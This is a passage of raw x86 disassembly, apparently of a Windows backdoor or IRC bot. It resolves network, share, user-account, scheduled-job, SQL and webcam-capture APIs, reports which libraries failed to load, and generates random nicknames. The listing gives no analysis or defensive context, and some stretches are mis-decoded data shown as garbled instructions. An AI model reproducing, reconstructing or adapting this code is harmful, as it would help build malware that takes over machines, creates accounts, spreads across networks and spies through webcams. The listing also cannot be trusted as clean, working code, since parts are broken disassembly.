		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB038, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF84, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF48, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB028, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB088, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB084, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF6C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAEA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	ecx, dword_4CAF3C
		mov	dword_4CAFD8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE68, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF6C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF18, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF78, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEB0, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB08C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF54, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	near ptr 2670E9Dh
		nop
		mov	dword_4CB090, eax
		mov	dword_4CB08C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF54, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB05C, eax
		call	esi
		cmp	dword_4CAF2C, ebx
		mov	dword_4CAEBC, eax
		jz	short loc_40A466
		cmp	dword_4CB05C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB098, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB094, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB034, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAED0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAF04, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		cmp	dword_4CAE98, ebx
		mov	dword_4CAED8, eax
		jz	short loc_40A582
		cmp	dword_4CAE70, ebx
		jz	short loc_40A582
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A582
		cmp	dword_4CAF1C, ebx
		jz	short loc_40A582
		cmp	dword_4CB034, ebx
		jz	short loc_40A582
		cmp	dword_4CAED0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE7C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE6C, ebx
		jz	short loc_40A582
		cmp	dword_4CAF04, ebx
		jz	short loc_40A582
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A582
		cmp	dword_4CAFB4, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB0A0, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB09C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		cmp	dword_4CAEC0, ebx
		mov	dword_4CAF9C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB0A8, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB0A4, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CB01C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2670E9Dh
		nop
		mov	dword_4CB0B0, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB0AC, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB04C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB044, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB00C, eax
		call	esi
		cmp	dword_4CB04C, ebx
		mov	dword_4CAEDC, eax
		jz	short loc_40A68A
		cmp	dword_4CB044, ebx
		jz	short loc_40A68A
		cmp	dword_4CB00C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	near ptr 2670E9Dh
		nop
		mov	dword_4CB0B8, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB0B4, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF10, ebx
		mov	dword_4CB018, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB0C0, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB0BC, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFE0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		cmp	dword_4CAFE0, ebx
		mov	dword_4CAF30, eax
		jz	short loc_40A772
		cmp	dword_4CB02C, ebx
		jz	short loc_40A772
		cmp	dword_4CAF68, ebx
		jz	short loc_40A772
		cmp	dword_4CAF20, ebx
		jz	short loc_40A772
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB0C8, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB0C4, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAEF4, ebx
		mov	dword_4CAFD4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB0D0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB0CC, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB064, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB06C, esi
		jz	short loc_40A84A
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB074, esi
		jz	short loc_40A87E
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB07C, esi
		jz	short loc_40A8B2
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB084, esi
		jz	short loc_40A8E6
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB08C, esi
		jz	short loc_40A91A
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB094, esi
		jz	short loc_40A94E
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB09C, esi
		jz	short loc_40A982
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB0A4, esi
		jz	short loc_40A9B6
		push	dword_4CB0A8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB0AC, esi
		jz	short loc_40A9EA
		push	dword_4CB0B0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB0B4, esi
		jz	short loc_40AA1E
		push	dword_4CB0B8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB0BC, esi
		jz	short loc_40AA52
		push	dword_4CB0C0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB0C4, esi
		jz	short loc_40AA86
		push	dword_4CB0C8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB0CC, esi
		jz	short loc_40AABA
		push	dword_4CB0D0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D364
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAEC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB020
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D578
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D554
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB020
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D524

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4F4
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB01C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF48
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0D4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D5C0o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D628[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 0AAh, 5Fh
; ---------------------------------------------------------------------------
		daa
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B

loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55

loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

